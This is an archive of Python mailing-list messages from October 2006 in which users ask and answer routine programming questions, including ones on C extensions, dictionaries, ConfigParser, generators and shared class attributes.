18:24:54 2006 From: Kiran.Karra at gmail.com (Kiran) Date: 24 Oct 2006 15:24:54 -0700 Subject: return tuple from C to python (extending python) Message-ID: <1161728694.741915.170890@m7g2000cwm.googlegroups.com> Hi all, I want to make python call some C functions, process them and return them. Ok, I got all the wrapper functions and everything setup right. Here is my problem. What I need to do is to return a tuple from C to python. To go about doing this, I first create a tuple object in C doing the following: PyObject* toRet; toRet = PyTuple_New(num_addr); then, in a for loop, i assign values to the tuple as follows: for ( i = 0; i < num_addr; i++ ) { printf("%d\n", dat[i]); PyTuple_SET_ITEM(toRet, i, (PyObject*)dat[i] ); } (dat is declared as follows: unsigned int* dat; ) then, i say return toRet at the end of my C function. when I try to print the tuple in python, it says the memory address 0x.... could not be written, and I can see a part of the tuple printout, which is as follows: ( , then i get my error. can someone please help me with this? thanks a lot! -- Kiran From python at hope.cz Thu Oct 19 03:22:10 2006 From: python at hope.cz (Lad) Date: 19 Oct 2006 00:22:10 -0700 Subject: Dictionaries In-Reply-To: References: <1161185067.771030.301480@e3g2000cwe.googlegroups.com> <1161189110.702575.162220@f16g2000cwb.googlegroups.com> Message-ID: <1161242530.375217.314810@m73g2000cwd.googlegroups.com> Steven, Thank you for help; Here is a code that works in a way I need A={'c':1,'d':2,'e':3,'f':2} B={'c':2,'e':1} if len(A)>=len(B): Delsi=B C = A.copy() else: Delsi=A C = B.copy() for key, value in Delsi.items(): if C.has_key(key): C[key]=C[key]+value else: C[key]=value How easy :-) Regards, L. Steven D'Aprano wrote: > On Wed, 18 Oct 2006 09:31:50 -0700, Lad wrote: > > > > > Steven, > > Thank you for your reply and question. > > > >> > >> What should the result be if both dictionaries have the same key? > > The answer: the values should be added together and assigned to the key > > That is > > {'a':1, 'b':5} > > ( from your example below) > > > > Is there a solution? > > Of course there is a solution. You just have to program it. > > Look again at my example code before: > > def add_dict(A, B): > """Add dictionaries A and B and return a new dictionary.""" > C = A.copy() # start with a copy of A > for key, value in B.items(): > if C.has_key(key): > raise ValueError("duplicate key '%s' detected!" % key) > C[key] = value > return C > > > Can you see how to modify this function to do what you want? > > (Hint: instead of raising a ValueError exception, you want to do something > else.) > > > -- > Steven. From kay.schluehr at gmx.net Sat Oct 14 12:12:54 2006 From: kay.schluehr at gmx.net (Kay Schluehr) Date: 14 Oct 2006 09:12:54 -0700 Subject: locals() and globals() References: Message-ID: <1160842374.356195.91190@h48g2000cwc.googlegroups.com> Paolo Pantaleo wrote: > Hi > > this exaple: > > def lcl(): > n=1 > x=locals() > x["n"]=100 > print "n in lcl() is:" +str(n) > #This will say Name error > #x["new"]=1 > #print new > > > n=1 > x=globals() > x["n"]=100 > print "gobal n is:" +str(n) > x["new"]=1 > print "new is:" +str(new) > lcl() > > produces > > gobal n is:100 > new is:1 > n in lcl() is:1 > > shouldn't be n in lcl() 100 too? > > why accessing the names dictionary globals() and locals() gives > different results? Python is statically scoped. The name bindings are fixed at compile time. Hence you can't achieve dynamic scoping by using the locals() dictionary and add new names to the locals() which might eventually be used as local variables in the body of the function. The function still controls its own state and does not permit delegating state changes via locals(). That's what objects are for. From zzf818 at gmail.com Thu Oct 19 07:38:15 2006 From: zzf818 at gmail.com (kelin,zzf818@gmail.com) Date: 19 Oct 2006 04:38:15 -0700 Subject: How to use python in TestMaker References: <1161225253.111034.4730@f16g2000cwb.googlegroups.com> Message-ID: <1161257895.508598.260290@m7g2000cwm.googlegroups.com> I don't know that TestMaker is written in Python before. So maybe it's my mistake. Then have you ever done testing jobs with Python? I know that many people do testing jobs with it. I just can't find a good tool to do Unit Test with Python. Could you please tell me any? Thanks a lot! Gabriel Genellina wrote: > At Wednesday 18/10/2006 23:34, kelin,zzf818 at gmail.com wrote: > > >Now I 'm learning python to do testing jobs, and want to use it in > >TestMaker. > >The problem is: I don't know how to use python in TestMaker. > >Just write python program in it or call .py files in it? > >I am really new about it and need some help. > > What do you mean by "use python in TestMaker"? > TestMaker is written in Python, but you dont need to know Python to > use it at all. > Do you want to modify TestMaker itself? Then you should learn the > Python language first. > > > -- > Gabriel Genellina > Softlab SRL > > > > > > __________________________________________________ > Pregunt?. Respond?. Descubr?. > Todo lo que quer?as saber, y lo que ni imaginabas, > est? en Yahoo! Respuestas (Beta). > ?Probalo ya! > http://www.yahoo.com.ar/respuestas From olsongt at verizon.net Fri Oct 13 12:26:00 2006 From: olsongt at verizon.net (olsongt at verizon.net) Date: 13 Oct 2006 09:26:00 -0700 Subject: building extensions for Windows Python In-Reply-To: References: Message-ID: <1160756760.071171.298590@b28g2000cwb.googlegroups.com> JW wrote: > > My main problem is that I don't really grasp the big picture. Can someone > give me an overview of the requirements to build extensions for Windows > Python, circa 2.5? Or, can I tell my employer she'll just have to > hire/contract a Windows expert to do the mud wrestling? > > Jim Wilson > Gainesville, FL To build an extension that runs on a generic python 2.5 you need a Windows OS (suprise!) and VS.NET 2003. Some people may have had some success with MinGW32 (on windows) but it's not going to work 'out-of-the-box'. If your code is straightforward crossplatform C, you could setup a distutils configuration script and pass it off to someone else to build the windows binaries, but chances are some debugging will have to be done. From ak at silmarill.org Sun Oct 1 23:55:38 2006 From: ak at silmarill.org (Rainy) Date: 1 Oct 2006 20:55:38 -0700 Subject: Problem with .next() method adding junk characters. Message-ID: <1159761338.068956.245450@h48g2000cwc.googlegroups.com> Hi, I tried searching for this and did not find this issue. I only looked at about dozen hits, I apologize if this is covered somewhere and I missed it. Without much further ado, here's the thing (Win, Py2.5): >>> f = open('test', 'w') >>> f.fileno() 4 >>> f.write('1\n') >>> f.write('2\n3\n4\n') >>> f.next() Traceback (most recent call last): File "", line 1, in f.next() IOError: [Errno 9] Bad file descriptor >>> f.close() >>> f = open('test') >>> f.next() '1\n' >>> f.next() '2\n' >>> f.next() '3\n' >>> f.next() '4\n' >>> f.next() '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 ...many more lines of junk...' I'm not actually trying to do something particular, I'm making snippets of example code for all functions in LibRef and I ran into this, and I'm just curious as to what's happening. I understand that you're not supposed to call .next on a file open for writing. But I don't know why and how it does what happened here; besides, I've seen the same thing happen before when I was doing something else with file open/write/close, but I don't remember the specifics. From john106henry at hotmail.com Mon Oct 30 14:35:47 2006 From: john106henry at hotmail.com (John Henry) Date: 30 Oct 2006 11:35:47 -0800 Subject: scared about refrences... In-Reply-To: <1162236136.367603.165180@b28g2000cwb.googlegroups.com> References: <1162236136.367603.165180@b28g2000cwb.googlegroups.com> Message-ID: <1162236947.782389.250460@k70g2000cwa.googlegroups.com> I am no Python guru - just an ordinary user. There is nothing "scary" about this. There are (many) situations where this is actually *desirable* but of course there are (many) situations where this is an unwelcomed side-effect. In situations where I don't want this to happen, I simply pass down the list as an non-mutable object (like converting the list to a tuple). It took me a little bit of getting used to this concept as well: everything is either a mutable object, or a non-mutable object. I just have to throw away trying to use concept of "pointers" in Python. SpreadTooThin wrote: > I'm really worried that python may is doing some things I wasn't > expecting... but lets see... > > if I pass a list to a function def fn(myList): > > and in that function I modify an element in the list, then does the > callers list get modied as well. > > def fn(list): > list[1] = 0 > > myList = [1, 2, 3] > print myList > fn(myList) > print myList > > >>> [1,2,3] > >>> [1,0,3] > > How can I avoid this? In this case this is a really simplified example > but the effects are the same... > How do I specify or create deep copies of objects that may contain > other objects that may contain other > object that may contain other objects.... From bearophileHUGS at lycos.com Wed Oct 11 17:10:17 2006 From: bearophileHUGS at lycos.com (bearophileHUGS at lycos.com) Date: 11 Oct 2006 14:10:17 -0700 Subject: dicts + amb Message-ID: <1160601017.272078.63240@h48g2000cwc.googlegroups.com> I have implemented yet another Odict class: http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/498195 It's very slow, but it is O(1) for get, set and del too. I have added ritervalues(), rkeys(), etc methods because I presume I can't use the reversed(). So can an __riter__ hook be generally useful? (I have seen few comments about it in the discussion regarding PEP 322). What's the meaning of .updated() called without arguments? Can it become an error in Python 3.0? In practice I don't have problems using dict get() and pop() methods, but their calling behaviour seem a bit incoherent. Both accept a second value, that can be None too, that they return if the key is absent, but the get() returns the None even if you don't specify it, while pop() return a TypeError if you don't give explicitely something (like None) as second argument. (Maybe in practice they are more useful if kept with such different calling behaviour.) ------------ Something unrelated that I don't know where to put. Recently I have seen the amb operator, it's not a simple operator. I have seen a (very simple) Ruby implementation: http://www.randomhacks.net/articles/2005/10/11/amb-operator I think a good amb implementation is a very complex thing. Can such operator be useful for Python too? Bye, bearophile From raNOsky at deveSPAMler.com Wed Oct 4 10:16:48 2006 From: raNOsky at deveSPAMler.com (Giovanni Bajo) Date: Wed, 4 Oct 2006 16:16:48 +0200 Subject: dictionary of list from a file References: <1159967361.355323.201050@m7g2000cwm.googlegroups.com> Message-ID: andrea.spitaleri at gmail.com wrote: > while(){ > @info=split(/ +/,$_); > push (@{$tmp{$info[0]}},$info[1]); > } > > and then > foreach $key (keys %tmp){ > print "$key -> @{$tmp{$key}}\n"; > } Python 2.5 introduced a dictionary type with automatic creation of values, ala Perl: =============================== from collections import defaultdict d = defaultdict(list) for line in fl: k, v = line.strip().split() d[k].append(v) for k,v in d.items(): print k, v =============================== Notice that Python is always more strongly typed, so you have to specify a factory function. -- Giovanni Bajo From tnleeuw at gmail.com Fri Oct 20 10:02:50 2006 From: tnleeuw at gmail.com (Tim N. van der Leeuw) Date: 20 Oct 2006 07:02:50 -0700 Subject: invert or reverse a string... warning this is a rant In-Reply-To: References: <7iNZg.117$1n3.3352@news.tufts.edu> Message-ID: <1161352970.123247.322140@i42g2000cwa.googlegroups.com> I V wrote: > On Fri, 20 Oct 2006 09:04:07 +1000, Steven D'Aprano wrote: > > I agree -- the reversed() function appears to be an obvious case of purity > > overriding practicality :( > > > >>>> str(reversed("some string")) > > '' > >>>> repr(reversed("some string")) > > '' > > This doesn't seem particularly "pure" to me, either. I would > have thought str(some_iter) should build a string out of the iterator, as > list(some_iter) or dict(some_iter) do. I guess this might have to wait for > Python 3, but str ought to be a proper string constructor, not a "produce > a printable representation of" function, particularly when we have repr to > do the latter. The failing of str(reversed('the string')) caught me off-guard too. I think you're quite right that it would be good if str() becomes a proper constructor. In practice, the short-term fix would be to add a __str__ method to the 'reversed' object, and perhaps to all iterators too (so that trying to build a string from an iterator would do the obvious thing). Cheers, --Tim From apardon at forel.vub.ac.be Fri Oct 27 13:35:58 2006 From: apardon at forel.vub.ac.be (Antoon Pardon) Date: 27 Oct 2006 17:35:58 GMT Subject: question about True values References: <7x4ptsi544.fsf@ruckus.brouhaha.com> <1161803802.110116.127470@m7g2000cwm.googlegroups.com> <7xvem8gq22.fsf@ruckus.brouhaha.com> <1161804934.010376.151330@f16g2000cwb.googlegroups.com> <453FD3AF.4040800@v.loewis.de> <1161812827.596356.316450@f16g2000cwb.googlegroups.com> <1161860305.348329.283780@m73g2000cwd.googlegroups.com> Message-ID: On 2006-10-27, Steven D'Aprano wrote: > But in this specific instance, I don't see any advantage to explicitly > testing the length of a list. Antoon might think that is sufficiently > polymorphic, but it isn't. He cares whether the object has zero _length_, > but for true polymorphism, he should be caring about whether the object is > _empty_. Not all empty objects have zero length, or even a length at all. > (E.g. binary trees.) That's why Python classes can use a __nonzero__ > method, falling back on __len__ only if __nonzero__ is not defined. Nobody can force you to write a container class that also provides a __len__ method. But if you don't provide one then IMO it is your class that deviates from standard practice. Mathematically, sets and directories have no length either, yet the len function does provide an answer if you give it a set or directory as an argument. So it seems that python has generalised the len function to provide the number of elements in the container. I have written a Tree class(*). It can be used as a drop in replacement anywhere where a directory is used, as long as there is a full order relationship in the key domain. That tree class provides a __len__ method that will anser with the number of items in the tree just as a directory would and I see nothing wrong with that. Of course I can't account for all possible ways someone wishes to write a class, but I don't see what is wrong with counting on the fact that an empty container has a length of zero. I can write a container class where the truth value of an object is independent of whether or not the object is empty and then the "if obj:" idiom will fail to provide true polymorphism too. (*) http://www.pardon-sleeuwaegen.be/antoon/avltree.html -- Antoon Pardon From __peter__ at web.de Mon Oct 2 09:50:57 2006 From: __peter__ at web.de (Peter Otten) Date: Mon, 02 Oct 2006 15:50:57 +0200 Subject: Help with ConfigParser References: Message-ID: tony.ha at philips.com wrote: > Question: How can I pervent ConfigParse to convert Upper case yo lower > case??, thanks. http://docs.python.org/dev/lib/RawConfigParser-objects.html """ optionxform(option) Transforms the option name option as found in an input file or as passed in by client code to the form that should be used in the internal structures. The default implementation returns a lower-case version of option; subclasses may override this or client code can set an attribute of this name on instances to affect this behavior. Setting this to str(), for example, would make option names case sensitive. """" If you don't pass defaults: config = ConfigParser() config.optionxform = str # ... Or, to be on the safe side: class MyCasePreservingConfigParser(ConfigParser): optionxform = str config = MyCasePreservingConfigParser() # ... Peter From steve at holdenweb.com Tue Oct 10 10:49:50 2006 From: steve at holdenweb.com (Steve Holden) Date: Tue, 10 Oct 2006 15:49:50 +0100 Subject: Python component model In-Reply-To: References: <452aeed2$0$8740$ed2619ec@ptn-nntp-reader02.plus.net><1160467516.602655.169920@c28g2000cwb.googlegroups.com> Message-ID: Fredrik Lundh wrote: > "Edward Diener No Spam" wrote: > > >>>if you want better support for more precise hooking, post some examples. >> >>I want a design-time environment to hook up my objects in a visual way. >>I think it is easier than doing it manually, even in Python. > > > what objects? what hooks? visually, in what way? > > >>>>All you are saying is that you don't have a need for this, but perhaps others do. >>> >>>handwavy references to what "other may need" is another thing you should >>>avoid if you want your Python change proposal to be successful. >> >>I did not say what "others may need". > > > I'm not sure I see the big difference between "perhaps others do [have a need]" > and "others may need", but that's me. > He's wriggling anyway, as his opening post said (among other things) "I believe that Python should have a common components model for all RAD development environments ...". So unless he's the only person who's going to use these development environments it does indeed sound a little prescriptive. regards Steve -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden From Benjamin.Barker at gmail.com Sun Oct 8 08:48:23 2006 From: Benjamin.Barker at gmail.com (Ben) Date: 8 Oct 2006 05:48:23 -0700 Subject: Bizzare lst length problem In-Reply-To: References: <1160305922.469319.138520@i42g2000cwa.googlegroups.com> Message-ID: <1160311703.533544.164250@i42g2000cwa.googlegroups.com> Ah... my list is a string. That explains the len() results, but not why it is a string in the dirst place. I have a dictionary containing a number of instances of the following class as values: class panel: mops =[] def __init__(self,number,level,location,mops,matrix): self.number=number self.level=level self.location=location self.mops=mops self.matrix=matrix abve mops is a list, yet when I access it it is a string... Fredrik Lundh wrote: > Ben wrote: > > > The output from this would be (for a given key value): > > Number: 181 > > Level: ovride+supvis > > Location: mons=4 v8.0 3rd floor > > MOPS: ['287', '288', '289', '290'] > > List Length: 28 > > Matrix: kng > > > > This is really odd...my len(v.mops) ought to return 4 (4 elements in > > the list). > > adding a > > print type(v.mops), repr(v.mops) > > debug statement might provide you with the clues you need. > > > In fact it returns 28. looking at outputs from lots of > > records, it seems that the length is almost always 7 time too great > > (28/7=4)....but not always. > > >>> len("['287',") > 7 > >>> len(" '288',") > 7 > >>> len(" '289',") > 7 > >>> len(" '290']") > 7 > > From usenet-mail-0306.20.chr0n0ss at spamgourmet.com Thu Oct 12 15:25:09 2006 From: usenet-mail-0306.20.chr0n0ss at spamgourmet.com (Bjoern Schliessmann) Date: Thu, 12 Oct 2006 21:25:09 +0200 Subject: strings in the global section References: <1160675040.806545.7620@i3g2000cwc.googlegroups.com> <4p7dbsFh384nU1@individual.net> <1160675533.899350.281040@i42g2000cwa.googlegroups.com> Message-ID: <4p7j4kFhis6pU1@individual.net> Phoe6 wrote: > #!/usr/bin/python > global astring > astring = "This is a String" A global declaration just says "look for this name in the module namespace". Since you /are/ in the module namespace here, there's no need to put "global" here. > Works, but something different ? Excuse me, what do you mean? Regards, Bj?rn -- BOFH excuse #410: Electrical conduits in machine room are melting. From fredrik at pythonware.com Thu Oct 12 08:51:03 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Thu, 12 Oct 2006 14:51:03 +0200 Subject: Standard Forth versus Python: a case study References: <7x3b9u376m.fsf@ruckus.brouhaha.com><1160603937.392188.253250@m7g2000cwm.googlegroups.com><1160619958.438049.53390@h48g2000cwc.googlegroups.com><1160652722.908731.213650@i42g2000cwa.googlegroups.com><7xfydtojhe.fsf@ruckus.brouhaha.com><7x4pu9bw3z.fsf@ruckus.brouhaha.com> Message-ID: Peter Decker wrote: >> Also, that finds the maximum, not the median. I had stopped examining >> it after seeing it used more than one variable. > > Um... isn't 'p' the list in question? no, it's a pointer to the current item in the list. From ptmcg at austin.rr._bogus_.com Fri Oct 13 11:25:04 2006 From: ptmcg at austin.rr._bogus_.com (Paul McGuire) Date: Fri, 13 Oct 2006 15:25:04 GMT Subject: Line algorithim for python and numeric References: <1160749997.673677.325150@m73g2000cwd.googlegroups.com><463ff4860610130741r48df2cfeu30e1b17eb124b350@mail.gmail.com> Message-ID: "Tim Chase" wrote in message news:mailman.451.1160752377.11739.python-list at python.org... >>> I'm wondering if anyone knows of a way to extract data from a numeric >>> array along a line. I have a gridded dataset which I would like to be >>> able to choose two points and extract a 1-d array of the data values >>> along the line between the two points. Any ideas? >> >> Are these all 45 degree lines or what? >> >> If not, you'll have to use trigonometry and approximate the closest >> matching cell. (Don't worry, Python has maths functions!! :)) > > > There are a couple of optimal/easy cases where the run is horizontal, > vertical, or as you describe, 45-degrees (where x_step = y_step or x_step > = -y_step) > > Any other set of arbitrary points, and you will have to specify the > behavior a little more finely. > > You can use something like Bresenham's algorithm to march either "over" or > "up and over" to just pick out the "one point at each step that falls > closest to the actual line" along the run. There's also the Wu > Anti-aliasing line algorithm which takes something akin to Bresenham's > algorithm and then samples the potential points to yield an "anti-aliased" > result which averages the two potential data-points (traditionally > colors, but they could really be any average-able data values). > > I'm not sure I've seen either of them implemented in Python before (though > actually *looking* for them might increase those odds ;-) > > http://en.wikipedia.org/wiki/Xiaolin_Wu's_line_algorithm > > has details and a pseudo-code implementation (which shouldn't be too far > from the Python code). It's also got links to stuff on Bresenham's. > > -tkc > > No need for Bresenham's algorithm here. The point behind BA is to draw a connected line using best selection of points, going cell-by-adjacent-cell through the pixel map, so that you actually get a solid line in the result. The OP's problem is much simpler - he/she (is "Theresaak" a boy name or a girl name?) just wants the array of grid coordinates between a starting and ending cell, so "continuousness" of the line is not an issue. -- Paul From hg at nospam.com Tue Oct 17 16:57:42 2006 From: hg at nospam.com (hg) Date: Tue, 17 Oct 2006 15:57:42 -0500 Subject: Python Web Site? In-Reply-To: References: <36WdnfRBgYet3ajYnZ2dnUVZ_q-dnZ2d@comcast.com> Message-ID: Tim Chase wrote: >> Is there a problem with the Python and wxPython web sites? >> I cannot seem to get them up > > Sounds like someone needs some pyagra... > > (grins, ducks, and runs) > > the-red-or-blue-pill'ly yers, > > -tkc > > > > > lol ... got to rememner that one ! hg From miracle.glue at gmail.com Tue Oct 10 14:35:00 2006 From: miracle.glue at gmail.com (glue) Date: 10 Oct 2006 11:35:00 -0700 Subject: Is a list static when it's a class member? Message-ID: <1160505300.141637.40170@i3g2000cwc.googlegroups.com> I have a class with a list member and the list seems to behave like it's static while other class members don't. The code... class A: name = "" data = [] def __init__(self, name): self.name = name def append(self, info): self.data.append(info) def enum(self): for x in self.data: print "\t%s" % x a = A("A:") print a.name a.append("one") a.append("two") a.enum() b = A("B:") print b.name b.append("horse") b.append("bear") b.enum() print a.name a.enum() The output... >>> A: one two B: one two horse bear A: one two horse bear >>> How do i get: A: one two B: horse bear A: one two Thanks, glue From deets at nospam.web.de Thu Oct 5 12:39:50 2006 From: deets at nospam.web.de (Diez B. Roggisch) Date: Thu, 05 Oct 2006 18:39:50 +0200 Subject: Oracle database export References: Message-ID: <4okqqnFf3ufaU1@uni-berlin.de> Tor Erik Soenvisen wrote: > Hi, > > I need to export an Oracle database to a DDL-formated file. On the Web, I > found a Python script that did exactly this for a MS Access database, but > not one for Oracle databases. > > Does anyone know of such a tool or Python script. Oracle is equipped with tools to do that. For example the conveniently named export tool "exp" No python in the equation, though. Diez From __peter__ at web.de Sun Oct 22 15:25:51 2006 From: __peter__ at web.de (Peter Otten) Date: Sun, 22 Oct 2006 21:25:51 +0200 Subject: Problems trying to override __str__ on path class References: Message-ID: Mike Krell wrote: > I'm running into problems trying to override __str__ on the path class > from Jason Orendorff's path module > (http://www.jorendorff.com/articles/python/path/src/path.py). > > My first attempt to do this was as follows: > > ''' > class NormPath(path): > def?__str__(self): > return?'overridden?__str__:?'?+?path.__str__(self.normpath()) > ''' > > The problem is that the override is not invoked unless str() is called > explictly, as indicated by the test program and its output below: > > ''' > from normpath import NormPath > np = NormPath('c:/mbk/test') > print 'np: "%s"' % np > print 'str(np): "%s"' % str(np) > print np / 'appendtest' > > > np: "c:/mbk/test" > str(np): "overridden __str__: c:\mbk\test" > c:/mbk/test\appendtest > ''' With from path import path class NormPath(path): def __str__(self): return 'overridden __str__: ' + path.__str__(self.normpath()) np = NormPath('c:/mbk/test') print 'np: "%s"' % np print 'str(np): "%s"' % str(np) print np / 'appendtest' I get np: "overridden __str__: c:/mbk/test" str(np): "overridden __str__: c:/mbk/test" overridden __str__: overridden __str__: c:/mbk/test/appendtest Are you using the latest version of the path module? Older versions implied a Path() call in the __div__() operator which would explain at least the output you get for print np / 'appendtest' Peter From kenneth.m.mcdonald at sbcglobal.net Thu Oct 26 01:04:09 2006 From: kenneth.m.mcdonald at sbcglobal.net (Kenneth McDonald) Date: Thu, 26 Oct 2006 00:04:09 -0500 Subject: How to identify generator/iterator objects? In-Reply-To: <1161813734.420234.83220@e3g2000cwe.googlegroups.com> References: <453FBCCE.8090306@sbcglobal.net> <1161813734.420234.83220@e3g2000cwe.googlegroups.com> Message-ID: <454041C9.8040206@sbcglobal.net> Thanks for all the feedback. Yes the original post was incorrect, it was an intellectual burp that had me asking about a instead of f(something). Boy, that answer's something I would never have known... Thanks, Ken Leo Kislov wrote: > Michael Spencer wrote: > >> Kenneth McDonald wrote: >> >>> I'm trying to write a 'flatten' generator which, when give a >>> generator/iterator that can yield iterators, generators, and other data >>> types, will 'flatten' everything so that it in turns yields stuff by >>> simply yielding the instances of other types, and recursively yields the >>> stuff yielded by the gen/iter objects. >>> >>> To do this, I need to determine (as fair as I can see), what are >>> generator and iterator objects. Unfortunately: >>> >>> >>> iter("abc") >>> >>> >>> def f(x): >>> ... for s in x: yield s >>> ... >>> >>> f >>> >>> >>> f.__class__ >>> >>> >>> So while I can identify iterators, I can't identify generators by class. >>> >>> Is there a way to do this? Or perhaps another (better) way to achieve >>> this flattening effect? itertools doesn't seem to have anything that >>> will do it. >>> >>> Thanks, >>> Ken >>> >> I *think* the only way to tell if a function is a generator without calling it >> is to inspect the compilation flags of its code object: >> >> >>> from compiler.consts import CO_GENERATOR >> >>> def is_generator(f): >> ... return f.func_code.co_flags & CO_GENERATOR != 0 >> ... >> >>> def f1(): yield 1 >> ... >> >>> def f2(): return 1 >> ... >> >>> is_generator(f1) >> True >> >>> is_generator(f2) >> False >> >>> >> > > It should be noted that this checking is completely irrelevant for the > purpose of writing flatten generator. Given > > def inc(n): > yield n+1 > > the following conditions should be true: > > list(flatten([inc,inc])) == [inc,inc] > list(flatten([inc(3),inc(4)]) == [4,5] > > -- Leo > > From will at willmcgugan.com Mon Oct 9 07:17:09 2006 From: will at willmcgugan.com (Will McGugan) Date: 9 Oct 2006 04:17:09 -0700 Subject: wxpython problems using GLCanvas References: <1160306823.654994.27260@h48g2000cwc.googlegroups.com> Message-ID: <1160392629.701462.74070@h48g2000cwc.googlegroups.com> nelson wrote: > Hi, > i'm coding a 3d interactive geometry progam and i want to use opengl > for displaying ogbjects. I can open a opengl canvas (i follow the > wxpython demo) and i can draw a cube. First time i execute the > application all is ok. second time it freezes X and i can't interact > with my machine. I hava only to press power button...... what will > cause it? the code i use is exactly the code of the demo.... > > If using openGL is so difficult to do together with wxpython, what > toolkit can i use do do 3d graphics? Simple graphics, i have to plot > point, lines, sphere, surfaces and their intersections... OpenGL works rather well with wxPython. If it hangs your entire machine it can only be driver issues. Try downloading the latest video drivers and I suspect this problem will magically disapear! Will McGugan -- http://www.willmcgugan.com From deets at nospam.web.de Wed Oct 4 10:23:52 2006 From: deets at nospam.web.de (Diez B. Roggisch) Date: Wed, 04 Oct 2006 16:23:52 +0200 Subject: sax barfs on unicode filenames References: Message-ID: <4ohufoFem6rpU1@uni-berlin.de> Edward K. Ream wrote: > Hi. Presumably this is a easy question, but anyone who understands the > sax docs thinks completely differently than I do :-) > > > > Following the usual cookbook examples, my app parses an open file as > follows:: > > > > parser = xml.sax.make_parser() > > parser.setFeature(xml.sax.handler.feature_external_ges,1) > > # Hopefully the content handler can figure out the encoding from the > # > element. > > handler = saxContentHandler(c,inputFileName,silent) > > parser.setContentHandler(handler) > > parser.parse(theFile) > > > > Here 'theFile' is an open file. Usually this works just fine, but when Filenames are expected to be bytestrings. So what happens is that the unicode string you pass as filename gets implicitly converted using the default encoding. You have to encode the unicode string according to your filesystem beforehand. Diez From sjmachin at lexicon.net Mon Oct 30 07:07:52 2006 From: sjmachin at lexicon.net (John Machin) Date: 30 Oct 2006 04:07:52 -0800 Subject: what are XLRDError and CompDocError? In-Reply-To: <1161108616.614125.85120@i3g2000cwc.googlegroups.com> References: <1161108616.614125.85120@i3g2000cwc.googlegroups.com> Message-ID: <1162210072.088942.252660@i42g2000cwa.googlegroups.com> kath wrote: > Hi, > i am facing some problems with opening an excel file. I am using XLRD > module. > I am getting > > XLRDError: Can't find workbook in OLE2 compound document > > and > > CompDocError: Not a whole number of sectors > > exceptions in seperate try on different files. > > 1.Does any one know anout these exceptions? what is the cause? a. "XLRDError: Can't find workbook in OLE2 compound document" -- would indicate that the OLE internal directory is broken. Can't find an entry named Workbook or Book. b. "CompDocError: Not a whole number of sectors" -- would indicate that the file is truncated or otherwise malformed. > > 2. what I should do to resolve these problems.? > Send an e-mail message to the package author, providing in each case (1) the versions of Python and xlrd that you are using, on what platform (2) a full copy/paste of the error message *AND* the traceback (3) a copy of the file (4) what software (with version info, if possible) was used to create the file (5) what results you get when you try to open it with OpenOffice.org's calc, Gnumeric, Excel, Excel Viewer, ... Cheers From johnjsal at NOSPAMgmail.com Wed Oct 11 12:55:22 2006 From: johnjsal at NOSPAMgmail.com (John Salerno) Date: Wed, 11 Oct 2006 16:55:22 GMT Subject: How to write Smart Python programs? In-Reply-To: <452d1535$0$28355$426a74cc@news.free.fr> References: <1160535792.373959.42930@i42g2000cwa.googlegroups.com> <452cae13$0$24783$426a74cc@news.free.fr> <452d1535$0$28355$426a74cc@news.free.fr> Message-ID: <_l9Xg.102$1n3.2594@news.tufts.edu> Bruno Desthuilliers wrote: > Now when it comes to GUI toolkits, they are usually coded in another > language, and usually come with language-agnostic GUI designers that use > XML. So the point is already solved somehow !-) > I'm thinking of hand-writing wxPython. I don't use a GUI designer for it, I do it myself. So I can either write all the design code, or use a program like XRCed to create the XML file that defines the layout. From jmdeschamps at gmail.com Sun Oct 8 21:50:36 2006 From: jmdeschamps at gmail.com (jmdeschamps at gmail.com) Date: 8 Oct 2006 18:50:36 -0700 Subject: Raw beginner.... In-Reply-To: References: <45288B4A.90702@gmail.com> Message-ID: <1160358636.211212.237170@m7g2000cwm.googlegroups.com> Fabio Zadrozny wrote: > On 10/8/06, Colin Lehmann wrote: > > I am new to Python although I have been using Delphi since version one, > > I have been employed as a C and C++ programmer so when I went to Linux > > (Ubuntu 5.10) I thought Python looked pretty good. > > I downloaded and installed 'Eric Python IDE' which seems OK, any > > alternatives suggested will be looked at.... > > Suggestions: http://wiki.python.org/moin/IntegratedDevelopmentEnvironments > > Cheers, > > Fabio Fabio, your reply is SO cool ! Pydev rocks (for those of us who accept Java-Eclipse gigantism) Jean-Marc From sjmachin at lexicon.net Sun Oct 8 09:12:48 2006 From: sjmachin at lexicon.net (John Machin) Date: 8 Oct 2006 06:12:48 -0700 Subject: Bizzare lst length problem In-Reply-To: <1160312065.656400.275770@k70g2000cwa.googlegroups.com> References: <1160305922.469319.138520@i42g2000cwa.googlegroups.com> <1160311703.533544.164250@i42g2000cwa.googlegroups.com> <1160312065.656400.275770@k70g2000cwa.googlegroups.com> Message-ID: <1160313168.683964.242350@c28g2000cwb.googlegroups.com> Ben wrote: > ...and when I print out the string, it is still formatted as one would > expect a list to be: > > "['01', '02', '03', '04']" > We know that. Fredrik deduced it and told you well over an hour ago. Show us the code that is creating instances of the panel class ... panel1 = panel(number=?,level=?,location=?,mops=????????????????,matrix=?) What are you passing as the 4th positional arg ^^^^^^^^^^^^^^^^^^^^^^^ ??? From skip at pobox.com Thu Oct 5 10:10:17 2006 From: skip at pobox.com (skip at pobox.com) Date: Thu, 5 Oct 2006 09:10:17 -0500 Subject: Python to use a non open source bug tracker? In-Reply-To: <878xjve0fs.fsf@benfinney.id.au> References: <22pUg.132825$zy5.1820633@twister1.libero.it> <452410E9.9040403@v.loewis.de> <1159997348.228622.246410@h48g2000cwc.googlegroups.com> <87hcyjel70.fsf@benfinney.id.au> <878xjve0fs.fsf@benfinney.id.au> Message-ID: <17701.4681.987334.359567@montanaro.dyndns.org> Ben> This thread was started on the shock of realising that a non-free Ben> tool was even being *considered* for the new Python bug Ben> tracker. Those are the terms on which I've been arguing. Of course, the candidate trackers have been known for months. Messages have been posted to both this list and python-dev asking for inputs. Skip From scott.daniels at acm.org Thu Oct 5 14:30:43 2006 From: scott.daniels at acm.org (Scott David Daniels) Date: Thu, 05 Oct 2006 11:30:43 -0700 Subject: building strings from variables In-Reply-To: 